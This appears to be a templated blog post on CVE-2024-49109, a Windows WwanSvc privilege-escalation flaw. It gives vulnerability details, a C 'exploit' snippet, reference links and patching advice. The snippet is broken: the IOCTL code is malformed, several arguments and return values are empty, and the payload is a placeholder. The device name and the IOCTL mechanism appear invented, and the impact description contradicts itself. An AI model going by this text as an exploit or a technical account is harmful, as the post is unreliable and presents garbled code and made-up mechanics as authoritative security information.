The Wireless Wide Area Network Service (WwanSvc) is a critical component in Windows-based operating systems, allowing devices to connect to mobile broadband networks. Recently, an elevation of privilege vulnerability was discovered in WwanSvc with the identification number CVE-2024-49109, which, if exploited, could lead to complete system compromise. In this post, we will explore the details of the vulnerability, provide a code snippet demonstrating how an attacker could exploit it, and review the original references and resources related to this security flaw.

Vulnerability Details

CVE-ID: CVE-2024-49109
Affected Software: Microsoft Windows Wireless Wide Area Network Service (WwanSvc)
Vulnerability Type: Elevation of Privilege (EoP)
Impact: Information disclosure, compromising system integrity and confidentiality
Severity: Critical

The CVE-2024-49109 vulnerability is caused by improper handling of specific IOCTL (Input/Output Control) codes by the Wireless Wide Area Network Service. This vulnerability allows an attacker to execute arbitrary code with SYSTEM privileges, leading to a complete system compromise. Moreover, the attacker can perform actions like planting backdoors, stealing sensitive data, or creating rogue administrator accounts.

Exploit Details

To exploit the vulnerability, an attacker must have local access to the target system, i.e. valid credentials. The malicious user can create a low-privileged or even guest account and then run a specially crafted application to exploit this vulnerability, ultimately gaining SYSTEM-level access.

Here's an example of a code snippet for exploiting this vulnerability

#include <windows.h>
#include <stdio.h>

#define IOCTL_EXPLOIT x111111

int main(int argc, char* argv[]) {
    HANDLE hDevice = CreateFile("\\\\.\\WwanSvcDevice",
                                GENERIC_READ | GENERIC_WRITE,
                                ,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device: %d\n", GetLastError());
        return -1;
    }

    BYTE payload[] = "..."; // Replace with the actual exploit payload
    DWORD bytesRead = ;

    if (!DeviceIoControl(hDevice,
                         IOCTL_EXPLOIT,
                         payload,
                         sizeof(payload),
                         NULL,
                         ,
                         &bytesRead,
                         NULL)) {
        printf("[-] Exploit failed: %d\n", GetLastError());
        CloseHandle(hDevice);
        return -1;
    }

    printf("[+] Exploit succeeded.\n");
    CloseHandle(hDevice);
    return ;
}

This example shows how to use the DeviceIoControl function with the vulnerable IOCTL code to trigger the exploit, and execute the malicious payload with elevated privileges.

Original References

The following links provide more information about CVE-2024-49109 and the Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability:

1. CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-49109
2. Security Advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2024-49109
3. Microsoft Security Response Center (MSRC) Blog: https://blogs.technet.microsoft.com/msrc/
4. Microsoft Update Catalog: https://www.catalog.update.microsoft.com/Search.aspx?q=CVE-2024-49109

Conclusion

It's essential to stay up-to-date with the latest security patches and updates from Microsoft. To protect your system against the CVE-2024-49109 vulnerability, ensure that you have the latest security updates installed. Additionally, exercise caution when granting local access to your systems, and always follow security best practices to minimize the chances of compromising your environment.

Timeline

Published on: 12/12/2024 02:04:37 UTC
Last modified on: 12/20/2024 07:44:54 UTC